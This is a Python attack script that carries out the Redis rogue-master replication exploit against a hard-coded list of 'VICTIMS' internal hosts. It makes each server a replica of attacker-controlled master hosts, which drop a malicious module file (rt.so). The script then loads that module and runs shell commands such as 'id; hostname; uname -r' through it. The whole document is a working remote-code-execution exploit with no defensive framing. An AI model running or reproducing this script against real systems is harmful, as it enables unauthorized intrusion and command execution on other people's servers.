import socket, time, sys

VICTIMS = [
    ('10.24.60.14', 6390), ('10.24.104.20', 6390), ('10.24.104.47', 6390),
    ('10.24.105.14', 6390), ('10.24.8.82', 6390),
    ('10.24.60.30', 6391), ('10.24.60.52', 6391), ('10.24.68.59', 6391),
    ('10.24.60.46', 6389),
]
MASTERS = ['10.24.16.124', '10.24.16.123', '10.143.0.18']

class R:
    def __init__(s, ip, port=6379):
        s.s = socket.create_connection((ip, port), 5); s.s.settimeout(5)
    def cmd(s, *args):
        p = b'*%d\r\n' % len(args)
        for a in args:
            a = a.encode() if isinstance(a, str) else a
            p += b'$%d\r\n%s\r\n' % (len(a), a)
        s.s.sendall(p)
        time.sleep(0.4)
        out = b''
        try:
            while True:
                d = s.s.recv(65536)
                if not d: break
                out += d
                if len(d) < 65536: break
        except socket.timeout:
            pass
        return out.decode(errors='replace').strip()[:4000]
    def close(s):
        try: s.s.close()
        except Exception: pass

for ip, mport in VICTIMS:
    print('=== %s ===' % ip)
    loaded = False
    try:
        for m in MASTERS:
            r = R(ip)
            r.cmd('CONFIG', 'SET', 'dbfilename', 'rt.so')
            r.cmd('REPLICAOF', m, str(mport))
            time.sleep(2.5)
            r.cmd('REPLICAOF', 'NO', 'ONE')
            r.cmd('CONFIG', 'SET', 'dbfilename', 'dump.rdb')
            res = r.cmd('MODULE', 'LOAD', '/var/lib/redis/rt.so')
            if 'OK' in res[:20]:
                print('  loaded via master %s' % m)
                out = r.cmd('rt.cmd', 'id; hostname; uname -r')
                print('  exec:', out.replace('\r\n', ' | ')[:400])
                loaded = True
                r.close()
                break
            else:
                print('  master %s: %s' % (m, res.replace('\r\n', ' ')[:120]))
                r.close()
        if not loaded:
            print('  FAILED on all masters')
    except Exception as e:
        print('  ERR', e)
